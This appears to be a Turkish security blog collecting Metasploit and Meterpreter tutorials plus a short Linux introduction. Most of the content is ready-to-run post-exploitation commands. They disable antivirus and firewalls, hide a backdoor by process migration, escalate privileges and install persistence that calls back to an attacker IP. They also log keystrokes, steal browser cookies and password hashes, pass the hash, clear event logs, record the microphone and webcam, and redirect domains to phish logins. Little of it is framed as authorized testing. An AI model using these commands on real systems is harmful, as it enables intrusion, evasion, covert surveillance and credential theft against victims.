Kategoriler
Linux Metasploit Siber Güvenlik

Meterpreter ile Post Exploitation 2

Geçen hafta hazırladığım Meterpreter ile post exploitation evresini tek yazıya sığdırmam pek de mümkün değildi. Bu hafta seriye devam edeceğim. Bu yazıda ağırlıklı bulunan aşamalar ise, yetki yükseltme, kalıcılığı sağlama ve kullanıcıya yakalanmama süreçleri olacak. 

Antivirüs ve Firewall Kapatma

Post exploitation aşamasında, antivirüsler durumu fark edip sıkıntı yapabiliyorlar. Bu durumda makineye girmişken kaybetmek olmaz. Antivirüsleri ve firewalları saf dışı bırakmamız gerekiyor.

getcountermeasure

meterpreter > run getcountermeasure -d -k
[*]Running Getcountermeasure on the target...
[*]Checking for countermeasure...
[*]Getting Windows Bilt in Firewall configuration...
...snip...

Firewall ve antivirüsleri devre dışı bırakmak için kullanılan bu scriptte, [vurgu color=”#dd3333″]-d[/vurgu] parametresi firewalları, [vurgu color=”#dd3333″]-k[/vurgu] parametresi ise antivürsleri devre dışı bırakır. Ancak çoğu antivirüs için yeterli bir çözüm olmadığını bilmemiz iyi olacak. Shell komutu ile komut penceresine erişelim. Söz konusu antivirüsün processini bulmamız gerekiyor. ps komutu ile göz atabilirsiniz. Ancak daha pratik bir yolu var.

Tasklist /SVC | find /I “avg” = avg

Bu şekilde anahtar kelime üzerinden processler üzerinde arama yapabiliriz. Daha sonra bulduğumuz processi devre dışı bırakmayı deneyeceğiz.

sc config avgwd start= disabled

taskkill /F /IM “avg*”

Yukarıda önce avgwd processini devre dışı bırakmayı denedik. Çalışmaması halinde sonraki satırda yer alan komutla avg ile başlayan tüm processleri kapatmayı deneyebiliriz. Bunlar da işe yaramazsa bir şansımız daha var: Regedit üzerinde değişiklik yapmak. Öncelikle söz konusu dizindeki kayıtları listeleyelim. Daha sonra AVG_UI gibi, antivirüs ismine göre bir kayıt bulmanız olası.

reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

Bu durumda o kaydı silmek bizim işimizi çok kolaylaştıracaktır. Bu defa deleteval kullanarak -v parametresi ile kayıt ismini veriyoruz ve kaydı kaldırıyoruz. Kayıtlara tekrar baktığınızda muhtemelen kayıt artık orada olmayacaktır. 

reg deleteval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v AVG_UI

Yetki Yükseltme İşlemi

Migrate

Sistemdeki diğer processlere, elimizdeki backdoorumuzu yapıştırabiliriz. Bu durumda kullanıcı, görev yöneticisine baktığında, olağan dışı bir durum görmeyecektir. Fakat bizim yapıştığımız sıradan process, çalıştığı müddetçe, biz de sistemde var olacağız demektir. Bu durumda yapışmak için seçtiğimiz process de önemli diyebiliriz. Diğer mesele ise, söz konusu processin yetkisi dahilinde işlem yapma şansımız olacak demektir. Sınırlı yetkilere sahipken, bu yöntemle yetki yükseltme işlemi yapabiliriz. Aksi de mümkün ancak bu çok da mantıklı olmayacaktır 🙂

ps komutu ile porcesslere bakalım. Backdoorumuz da listede bulunacaktır. Daha sonra bulaşmak istediğimiz processi belirleyelim ve onun [vurgu color=”#dd3333″]PID[/vurgu] değerini alalım. Sonrasında ise geriye şu komutu yazmak kalıyor:

meterpreter > migrate <PID>
[*] Migrating from 415 to 680…
Migration completed succesfully.

Local Exploit

Sistemde yetki yükseltme aşamasında local exploitlerden de faydalanabiliriz. Söz konusu exploitleri metasploit üzerinden aramak mümkün. Bundan sonrasında devam edeceğimiz örnek Windows XP,  7 gibi versiyonlarda çalışırken 8 ve 10 üzerinde çalışmıyor. Exploiti seçtikten sonra info diyerek hangi sistemlerde çalışabildiğini görebilirsiniz.

msf exploit(handler) > use ecploit/windwos/local/ppr_flatten_rec

msf exploit(ppr_flatten_rec) > set SESSION 1

Bu ayarlama sonrasında exploiti kullanarak devam ediyoruz. Şayet meterpreter üzerinde ikinci oturumumuz açılırsa exploit başarılı oldu demektir. İkinci oturuma bağlanarak tam erişimle devam edebiliriz. Yalnız local exploitlerle yetki yükseltirken önemli bir detayımız var. [vurgu color=”#dd3333″]getsystem[/vurgu] gibi komutların sonrasında, local exploitler çalıştırıldığında hata ile karşılaşabilirsiniz. Exploit, daha önce yetki yükseltme işlemi yaptığınızı varsayabilir. Şayet ikinci oturum açılmazsa ilk oturumdan devam ederek farklı taktikler denenebilir. 

Backdoor’un kalıcılığını sağlama yöntemleri

Sisteme girdikten sonra genelde en büyük isteğimiz sistemde kalabilmek. Bunun için de bazı yöntemler var. Yetki yükseltme aşamasında bahsettiğimiz migrate kısmını da kalıcılık kısmına dahil edebiliriz. Yaptığımız birçok işlem aslında sistemde tutunabilmek için.

persistence

[vurgu color=”#dd3333″]run persistence -h [/vurgu] komutu ile detaylarını öğrenebileceğiniz bu eklenti, otomatik olarak sistemde kalıcı olmamızı sağlayan işlemleri halleder.

  • -A: Backdoor dinlenmeye alındığında otomatik olarak bağlantı gelmesini sağlar.
  • -L </dizinismi>: Backdoor’un otomatik kayıt edileceği konum seçilir. Default durumda temp klasörü seçilir.
  • -P<payload>: Seçilecek olan payload girilir.
  • -S: Backdoor bir sistem dosyası gibi çalışır. Haliyle sistem yetkisinde çalışılır.
  • -i: Bağlantı isteklerinin kaç saniyede bir gönderileceğini buradan belirleyebilirsiniz.
  • -X: Sistem açıldığında çalışacak başka bir backdoorun kurulmasını sağlar.
  • -p: Bağlantının geleceği portu seçebilirsiniz. Backdoor için oluşturacağınız porttan bahsediyorum.
  • -r: Saldırganın IP adresi yazılır.

meterpreter > run persistence -A -U user -L C:\\windows\\system32 -i 20 -p 4444 -r 192.168.1.98

Diğer komutlar

keylogrecorder

Karşı tarafın bastığı her tuşu kaydedip incelemek mümkün. Farklı özelliklere sahip bu eklentinin diğer özellikleri için keylogrecorder -h komutunu kullanarak bilgi edinebilirsiniz. Aşağıdaki komutta ise önce [vurgu color=”#dd3333″]-t[/vurgu] parametresi ile  saniyelik bir kayıt aldık. Daha sonra ise kaydolduğu dizine giderek sonuçları listeledik.

meterpreter > run keylogrecorder -t  10

meterpreter > cat /root/.msf4/logs/scripts/keylogrecorder/192.168.1.98_20190210.1123.txt

keyscan

Bu araç ise çok daha basit bir tuş kayıt aracı. Start ile başlıyor, dump ile kayıtları ortaya döküyor, stop ile duruyor. Hepsi bu 🙂

meterpreter > keyscan_start

Starting the keystroke sniffer…

meterpreter > keyscan_dump

Dumping captured keystrokes…

meterpreter > keyscan_stop

Stopping the keystroke sniffer…

Browserlardan veri almak

Karşı makinenin browserları üzerinden cookie, geçmiş kayıtları gibi bilgileri çekmek mümkün. Farklı tarayıcılar için farklı komutlar gerekiyor. Kaydolan dosyaları SQLite Database Browser gibi araçlarla inceleyebilirsiniz. 

meterpreter > run post/windows/gather/enum_chrome

meterpreter > run enum/firefox

meterpreter > run post/windows/gather/enum_ie

Psexec pass the hash

Önceki yazıda makinedeki kullanıcıların hash bilgilerini elde etmiştik. Şimdi o kullanıcı hashleri ile sisteme giriş yapmayı deneyelim. Bu hashlerle giriş yapmak için, hashleri kırmaya gerek yok.

[vurgu color=”#dd3333″]exploit/windows/smb/psexec[/vurgu] exploitini kullanarak gerekli parametreleri giriyoruz. [vurgu color=”#dd3333″]SMBUser[/vurgu] kısmına hash üzerinde bulunan ilk kısmı, [vurgu color=”#dd3333″]SMBPass[/vurgu] kısmına ise, hash üzerindeki son ve uzun kısmı alarak giriyoruz. Yalnız kullanıcı adı sonrasında gelen kısa sayılar hariç. Örneğin:

[vurgu color=”#dd3333″]Administrator:500:aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0[/vurgu]

Burada “Administrator” kısmı SMBUser alanına, “aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0” kısmı ise SMBPass alanına girilecek. Sonrasında exploiti denediğimizde çalışacaktır. Birkaç sefer denemek gerekebilir. 

Versiyon öğrenme

Makinede yüklü olan yazılımların versiyonlarını öğrenmek için aşağıdaki komut yeterli olacaktır.

meterpreter > run get_application_list

Bazı donanımların kontrolünü sağlama

Siz bir işlem yaptığınız esnada karşı tarafta bir donanımın kullanılmaz olmasını, müdahale edememesini isteyebilirsiniz. Bu durumda aşağıdaki komut yeterli olacaktır

meterpreter > uictl disabled keyboard

meterpreter > uictl disabled mouse

Enable diyerek tekrar aktif hale getirebiliriz. 

DNS spoofing işlemi

DNS Spoofing, ayrı bir yazı konusu olmakla beraber özet geçmek gerekirse kullanıcıyı, bizim belirlediğimiz sayfaya yönlendirmek anlamına gelir. Bu şekilde kendi oluşturduğunuz sahte bir web sitesini, kullanıcının girdiği domain ile değiştirerek giriş bilgilerini elinden alabilirsiniz. Aşağıdaki örnekte, boşluktan  sonra belirtilen domaine girildiğinde, boşluktan önce yazılan IP adresine yönlendirilmesini sağlar. Örneğin test.txt isminde bir dosya oluşturalım ve içine şunu yazalım:

172.252.110.27 google.com

Daha sonra aracımızı nasıl kullanacağız ona bakalım.

meterpreter > run hostsedit -l text.txt

Not defterinden birden fazla web sitesini bu şekilde yönlendirmeye alabilirsiniz. Ancak bir tane yönlendirme yapacaksanız aşağıdaki komut yeterli olacaktır.

meterpreter > run hostsedit -e 172.252.110.27,google.com

CheckVM

Karşı makinenin sanal makine olup olmadığını teyit etmek için kullanılır.

meterpreter > run post/windows/gather/checkvm

Sniffing

Makine üzerindeki network paketlerinin takibini ve incelenmesini sağlar.

meterpreter > sniffer_start
[*]Capture started on interface 1 (50000 packet buffer)
meterpreter > sniffer_dump 1 /tmp/packets.cap

 

Kategoriler
Linux Metasploit Siber Güvenlik

Meterpreter ile Post Exploitation

Metasploit serisinde öğrendikleriniz, herhangi bir zafiyetli makineye girmeniz için yeterli. Ancak makineye girdikten sonra ne yapabileceğinizi de öğrenmeniz gerekiyor. Ki en az söz konusu kullanıcı kadar hareket kabiliyetimiz var. Bu yazıda meterpreter ile karşı makinede yapabileceklerimizden bahsedeceğim. Meterpreter içerisinde birçok script bulunduran bir araç. Bu scriptler, bizim, girdiğimiz sistemde daha hızlı işlem yapmamızı sağlar. Meterpreter, sistem üzerinde çalıştığı için antivirüslere yakalanma ve iz bırakma olasılığı çok düşüktür.

Yazımı Offensive Security’den çevirdim ve büyük oranda ondan faydalanmakla beraber bazı eklemelerde bulundum. Meterpreter’in detaylarını ise farklı bir yazıda hazırlayacağım.

help

meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...

Linux üzerindeki daimi kurtarıcımız “help” komutu ile başlayalım. Help komutu ile meterpreter üzerindeki komutların açıklamalarını öğrenebilirsiniz. 

background & sessions

Bir makineye girdiğinizde, o makinenin meterpreter erişimini kaybetmeden çıkarak başka işlem yapmak istiyorsanız background komutunu kullanabilirsiniz. Bu komut size birden fazla makineye bağlanma ve farklı exploitler deneme gibi imkanlar tanır.

Arka plana aldığınız makineleri listelemek için sessions yazmanız yeterli. Bağlanmak istediğiniz makine için ise sessions -i <ID> yazmanız gerek.

meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

cat

Bu komutu kullanarak karşı makinedeki txt ve türevi dosyaların içerisini okuyabilirsiniz.Tıpkı Linux üzerinde olduğu gibi…

meterpreter > cat
Usage: cat file

//Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis

cd & pwd

Dizin değiştirmek için cd komutunu, hangi dizinde olduğunuzu görmek için ise pwd komutunu kullanabilirsiniz.

meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >

clearev

Sistemde iz bırakmamak için basit bir önlem… Windows sistemlerde uygulama, sistem ve güvenlik günlüklerini temizleyecektir.

Komut öncesinde günlük:

https://www.offensive-security.com/wp-content/uploads/2015/05/Clearev_before.png

meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...
meterpreter >
Komut sonrası günlük:
https://www.offensive-security.com/wp-content/uploads/2015/05/Clearev_after.png

Download

Karşı makineden dosya indirmemizi sağlar.

meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >

Karşı makineden hangi dizine indireceğinizi belirtmek için ise aşağıdaki yöntemi izlemeniz gerekiyor.

meterpreter > download -r metin.txt /root/Desktop

[*] downloading: c:\metin.txt -> /root/Desktop/metin.txt
[*] downloaded : c:\metin.txt -> /root/Desktop/metin.txt

Edit

Metin ve türevi dosyaların üzerinde değişiklik yapmamızı sağlar. Vim aracını kullanır.
meterpreter > edit edit.txt

Execute

Karşı makinede komut çalıştırabilmemizi sağlar. Aşağıdaki örnekte bizim için cmd.exe’yi çalıştıran bir komut var. Sonrasında yazacağımız komutları cmd üzerinden devam ettirebiliriz.

meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Getuid

Hangi yetkilerle erişimde bulunduğumuzu belirtir. Duruma göre yetki yükseltme işlemlerine geçilir. Bunları ayrı bir yazıda anlatacağız.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Hashdump

En tatlı komutlarımızdan birisi 🙂 Sisteme ait kullanıcıların, kullanıcı adları ve hashleri elimizde. Hashleri kırmak için uğraşmanıza gerek yok. Onları kullanarak zaten sistemde o kullanıcı üzerinden giriş yapabiliyor olacağız. Ancak bu da başka bir yazının konusu.

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >

idletime

Karşı makinede kullanıcının ne zamandır boşta olduğunu belirten komut.

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >

ipconfig

Windows makinede olduğunuzu varsayarsak ağ arayüzünü görüntüler. Yerel IP adresi, alt ağ maskesi ve varsayılan ağ geçidi gibi bilgileri verir. 

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0

meterpreter >

ls

Siz meterpreter ekranı boyunca karşı makinede işlem yapıyorsunuz. Ancak kendi makinenizdeki dosyaları incelemeniz gerekirse ne yapacaksınız? Bu durumda devreye bu komutlar giriyor. lpwd ile yerel makinenizde hangi dizinde bulunduğunuzu, lcd ile ise yine yerel makinenizde hangi dizine geçmek istediğinizi belirtebilirsiniz.

meterpreter > lpwd
/root

meterpreter > lcd MSFU
meterpreter > lpwd
/root/MSFU

meterpreter > lcd /var/www
meterpreter > lpwd
/var/www
meterpreter >

ls

Linux üzerinde yaptığınız gibi, bulunduğunuz dizindeki dosyaları listelemenizi sağlar.

meterpreter > ls

Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data
...snip...

ps

ps komutu ile karşı makinede çalışan processleri listeleyebilirsiniz.

meterpreter > ps

Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...

Record Mic

record_mic komutu ile karşı makinenin mikrofonundan ses kaydı alabilirsiniz. Bu bir görüşmeye de ait olabilir, o anki ortama ait kayıt da olabilir. -d parametresi ile kaç saniye kayıt alacağını belirleyebilirsiniz. Siz belirtmezseniz Ctrl+C komutuna kadar kaydetmeye devam edecektir. -f parametresi ile ise makinenizde nereye kaydedeceğinizi belirtebilirsiniz.

meterpreter > record_mic -d 30 -f root/Desktop/kayit.wav

Resource

Bu komut ile verdiğiniz kaynaktan alınan komutların arka arkaya çalışmasını sağlayabilirsiniz. Metin belgesine yazdığınız her satır bir komut olarak kabul edilecektir. Karşı makinede çalıştıracağınız komutların hızlı ve otomatize bir şekilde gerçekleşmesini sağlayabilirsiniz. Şöyle örnek verelim, aşağıdaki bizim dosyamız olsun:

root@kali:~# cat resource.txt
ls
background
root@kali:~#

Şimdi bu dosyayı resource ile çalıştıralım. 

meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >

rm

Bu komut ile karşı makineden dosya silmeniz mümkün. Silinen dosyalar geri dönüşüm kutusuna veya başka yere düşmez. Tamamen kaldırılır.

meterpreter > rm dosyaismi.txt

Screenshot

Bu komut sayesinde ise makineden ekran görüntüsü almak mümkün. screenshot -h parametresi ile detayları öğrenebilirsiniz. Aşağıdaki örnekte -p parametresi, ekran görüntüsünün sizin makinenizde nereye kaydedileceğini, -q parametresi ise görüntü kalitesini belirler. Varsayılan ayar 50’dir.

meterpreter > screenshot -p /root/Desktop/screenshoot.jpeg -q 75
Screenshot saved to: /root/Desktop/screenshoot.jpeg

Search

Search komutu anlayacağınız üzere, karşı makinede dosya aramamızı sağlar. Belirli bir dosya adı arayabileceğimiz gibi, belirli bir dosya türünden olan tüm dosyaları arayabilir, aynı zamanda belirli bir dizinde arama yapabiliriz. Aşağıda kullanımına dair birkaç örneğe yer verdim.

meterpreter > search -f autoexec.bat
Found 1 result...
    c:\AUTOEXEC.BAT
meterpreter > search -f sea*.bat c:\\xamp\\
Found 1 result...
    c:\\xampp\perl\bin\search.bat (57035 bytes)
meterpreter > search -f *.bat 
Found 1 result... 
    c:\AUTOEXEC.BAT

Shell

Yukarıda bir yerlerde cmd.exe dosyasını çalıştırmıştım gördünüz mü? Cmd.exe için onu unutabilirsiniz. Siz onu başka exe dosyalarında kullanın. cmd.exe için meterpreter ekranına shell yazmanız yeterli. Bundan sonrasında windows komutları ile devam edebilirsiniz. exit komutu ile komut penceresinden meterpretera dönebilirsiniz.

meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Upload

Karşı makineden dosya çekebildiğiniz gibi kendi makinenizden karşı bilgisayara dosya da gönderebilirsiniz. Belki de orada sizin çalıştırmak istediğiniz bir exe dosyası vardır. Onun için de upload komutunu kullanıyoruz.

meterpreter > upload /root/Desktop/evil_trojan.exe c:\\windows\\system32
[*] uploading  : /root/Desktop/evil_trojan.exe -> c:\windows\system32
[*] uploaded   : /root/Desktop/evil_trojan.exe -> c:\windows\system32\evil_trojan.exe
meterpreter >

Webcam

Eğlenceli komutlardan birisi olan webcam ile karşı makinenin kamerasından anlık fotoğraf alabilir, video kaydedebilirsiniz. Peki birden fazla kamera varsa? O zaman hangisinden isterseniz ondan kayıt alırsınız.

webcam_list: Hedef makinede bulunan webcamleri listeler.

webcam_chat: Karşılıklı bir görüntülü konuşma başlatabilirsiniz.

webcam_stream: Bu komutla karşı makineden kamera kaydı alırsınız. Tarayıcınızda açılan sayfa üzerinden takip edebilirsiniz ve -t parametresi ile görüntüleri nereye kaydetmek istediğinizi belirtebilirsiniz.

webcam_snap: Karşı makinenin kamerasından anlık fotoğraf çeker. Aşağıda bir örnek var. Bu örnekteki -i parametresi kamera ID’si oluyor:

meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >

Ufak bir not: Kapaktaki çocuk muhtemelen ilginizi çekti. Çok da alay etmeyin isterseniz. Kendileri akıllı oyuncakları dinleme cihazına dönüştüren 12 yaşında bir çocuk. https://www.cbsnews.com/news/reuben-paul-12-year-old-cyber-ninja-cyber-security/

Kategoriler
Linux Metasploit Siber Güvenlik

Metasploit’e Giriş ve Temel Kavramlar

Metasploit, içinde binden fazla exploit bulunan popüler bir pentest aracıdır. Onu bu kadar popüler yapan şey, içindeki exploitlerin, yalnızca belirli parametreler girilerek kullanıma hazır hale gelmesi.  Exploit, metasploit için kodlanmışsa bu exploit metasploit ile kullanılabilir ve geliştirilebilir. Ancak esas mesele saldırı değil. Bilgi toplama ve farklı alanlarda da metasploit işimize çok yarayabiliyor. Bunu da detaylıca yazacağız. İyisi mi, biz exploit nedir, metasploitin işimize yaradığı diğer alanlar neler ve nasıl kullanacağız sırası ile gidelim. 

Exploit Nedir?

Exploit kelime anlamı olarak sömürmek anlamına gelir. Siber güvenlik dünyasında da karşılığı bu zaten. Mevcut bir zafiyeti kullanmak, sistemi bu zafiyet sayesinde ele geçirmek için yazılan kod parçacıklarına exploit diyoruz. C, python, perl, ruby gibi dillerle yazılmış olabilir. Exploit-DB üzerinden birçok exploite ulaşmak mümkün. Elbette farklı kaynaklar da var. Bazı kaynaklarda ücretli exploitler de bulunmakta(Bknz. 0-Day Today). Peki biz hangisini kullanacağımızı nereden bileceğiz? Girmek istediğimiz sistemde çalışan servisleri ve onların versiyonlarını tespit ettikten sonra ona uygun exploit araştıracağız. Bunu Detaylı NMAP Kullanımı yazımda anlatmıştım isterseniz onu da şöyle bir okuyun. Exploitlerin de kendi içinde gruplandığını söylemek mümkün.

Remote Exploits: Remote, kelime anlamı olarak uzak demektir. Haliyle ne işe yaradığı aslında ortada. Uzak sistemlere yapılacak olan saldırılarda kullandığımız exploitlerin toplandığı başlıktır.

Local Exploits: Local kelimesi ise yerel anlamına gelir. Yani direk sistemin kendisinde çalışacak olan exploitlerdir. Bunu genelde, sisteme girdikten sonra hak yükseltmek, root olmak amacıyla kullanırız.

Zero Day Exploits: En eğlenceli exploitler. Eğer exploit kavramını duydunuzsa muhtemelen arkasından bu kavramı da duymuşsunuzdur. Bunlar henüz keşfedilmemiş, sistemde zafiyet bulunduğu anda o zafiyeti sömürmek maksadıyla yazılmış exploitlerdir. Haliyle ne sistem sahibi ne de söz konusu bir servis durumun farkındadır. Açık ortamda paylaşılması halinde hızlı biçimde yayılacaktır.

Exploit meselesi tamam. Teorik taraf yeni başladığınızı varsayarsak sizin işinize yarayacaktır. Ancak birkaç kavramdan daha bahsetmek gerek. Onları da aşağıda listeleyeyim.

Payload: Payloadlar, metasploit içinde bulunur. Kullanmak istediğiniz exploiti seçtikten sonra exploite uygun bir payload seçmeniz gerekmekte. Exploit çalıştıktan sonra devreye payload girecek. Tamam da ben exploitimi belirledikten sonra ona uygun payloadları nereden bilebilirim ki? Şu şekilde:

msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
...

Listelenecek olan payloadlar, elinizdeki exploitlere uygun olacaktır. Amacınıza göre tercihiniz değişecektir. Peki seçimi nasıl yapacağım?

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp

Payload meselesi de şimdilik tamam. Ancak pratik bir meseleden bahsetmediğimizin farkındayım. Tüm bunların uygulamalarını da anlatacağız daha sonra. Önce bu kavramları bir anlatalım.

Auxiliary Nedir?

Auxiliary bilgi toplama aşamasında işimize yarar. Metasploitte bir servis arattığınızda muhtemelen auxiliary seçeneklerine denk gelirsiniz. Bilgi toplama derken neden bahsediyoruz? Bunu da birçok başlıkta incelemek gerekiyor. Auxiliary çeşitleri aşağıda mevcut. Biz birkaçını inceleyeceğiz. 

admin dos server
analyze fuzzers sniffer
bnat gather spoof
client parser sqli
crawler pdf voip
docx scanner vsploit

Scanner: Port tarama, zafiyeti sömürmeden önce bulunup bulunmadığını test etme, keşif gibi noktalarda tercih edilir.

Admin: Genellikle admin bilgilerini bilmediğiniz sistemlere, admin yetkisi ile giriş yapmanızı sağlarlar. Ancak versiyon bilgilerini öğrenmek gibi farklı amaçları da olabilir.

Fuzzers: Sisteme rastgele sorgular göndererek farklı cevaplar alınır. Sistemin çökmesi halinde de tepkilerini izler. Çok sık kullanılmayan auxiliary çeşitlerindendir. 

Dos: Adından da anlaşılacağı üzere Denial of Services saldırıları için kullanılır.

Gather: Metasploit üzerinde bulunan dedektif auxiliarylerimiz… Kendileri e-mail, kullanıcı adı ve dbs gibi bilgileri toplar.

Brute force: Yine anlaşılacağı üzere kaba kuvvet saldırılarında kullanılır. Yetkili girişini deneme yanılma yolu ile tespit etmeyi amaçlar.

Genel Exploit Kullanımı

Peki tüm bunlar tamam. Örnek bir kullanım da gösterelim yazımız öyle bitsin. Öncelikle uygun exploiti seçmek için servis adı ile (veya neye ihtiyacınız varsa) arama yapıyorum. Bunun için search komutunu kullanacağız.

Openssh’a yönelik exploitler listelendi. İsimleri, eklendiği tarih ve açıklamaları gibi bilgiler listeleniyor. Burada seçerken açıklamaya bakıp bizim karşımızdaki sisteme uygun olup olmadığını, tarihe bakıp güncel olup olmadığını veya rank kısmına bakıp ne kadar başarılı olduğunu tahmin etmek mümkün. Tercihleri de hiç bilmiyorsanız buna göre yapabilirsiniz. Ancak ilerledikçe sistemlerde hangi exploitin çalışacağını az çok tahmin eder duruma geleceksiniz bunlara gerek duymadan.

Daha sonra hangi exploiti kullanacağımızı use komutu ile seçiyoruz.

Exploiti seçtiğimiz anda soldaki kırmızı alan değişecek veya yoktan oluşacak. O kısım, içinde bulunduğunuz exploiti gösteriyor. Exploiti de seçtik. Şimdi ayarlarına göz atalım. Çalıştırmak için hangi bilgilere ihtiyacı varmış bir bakalım. Bu bilgileri biz girdikçe arka planda exploit koduna ekleyerek çalıştıracak. Bunun için de options komutunu kullanıyoruz. Seçtiğiniz exploit hangi sistemlerde çalışıyor, hedeflerinde neler var görmek isterseniz show targets komutunu kullanabilirsiniz.

Seçtiğimiz exploitin ayarlamalarını yapmak istediğimizde bu tablo bizi karşılayacak. Değerlerin isimleri, gerekli olup olmadıkları ve açıklamaları mevcut. Required kısmında yes yazan tüm değerleri doldurmak zorundasınız. Ancak no yazanlar boş kalabilir. Peki öyleyse neden gereksiz bilgi giriyoruz? Asında gereksiz denemez. Sistemde çalışma şansını arttıran değerler bunlar. Onun için ne kadar değer girerseniz şansınız o kadar artar. Ben RHOSTS kısmını değiştireceğim ancak öncesinde bir detay daha vereyim. Auxiliarylerde genelde RHOSTS yazar. Yani birden fazla hedef girebilirsiniz. Ancak exploit seçimi yaptığınızda,genelde direkt hedef odaklı tercih yapmanız gerekir. Birden fazla seçemezsiniz. Ben set RHOSTS komutu ile hedef adresi de giriyorum.

Bundan sonrasında tüm değerler doğru ise exploit veya run komutu ile auxiliarymi çalıştırabilirim. Başka bir alternatif olarak ise check komutu ile exploit sisteme zarar vermeden çalışıp çalışmadığını test edebilirim. Sonrasında söz konusu auxiliary, işlevini yerine getirecektir. Örnek, komutları göstermeye yönelik olduğu için sonucunu göstermedim. Esas amaç temel kullanımı göstermekti. İleride bolca örnek yapacağız. 

Kategoriler
Linux

Temel Linux Komutları

Ben profesyonel bir linux kullanıcısı değilim. Ancak linux taraftarı olduğumu söylemek mümkün. Kendimce tecrübelerimi ve arkasından komutları yazacağım. Mutlaka kişiden kişiye değişecektir yorumlar.

Linux; açık kaynaklı, herkesin geliştirebileceği, kaynak kodlarına herkesin erişebileceği ve genelde ücretsiz dağıtımları olan bir işletim sistemi. Windows’un son zamanlarda internetten satışa çıkarttığı linux versiyonu gibi istisnalar olabiliyor.  Windows’a oranla daha basit donanımlarla daha hızlı çalışabilir. Windows gibi son kullanıcıya yönelik olmadığını söylemek mümkün. Terminal dediğimiz komut penceresi üzerinden işlemler yapılabilir. Linux’a geçildiğinde çoğu kişi ayak uyduramıyor ve Linux işletim sistemi o kadar da iyi değil diyor. Ancak aynı durum farklı işletim sistemine geçerken de oluyor. Dün Windows 7 kullanan insanlar Windows 10’a geçtiğinde alışamıyor, son Windows versiyonunun kötü olduğundan bahsediyor. Ancak birkaç ay sonra herkes Windows 10 kullanıyor. Bu anlamda Linux’a da şans vermek gerek sanki.

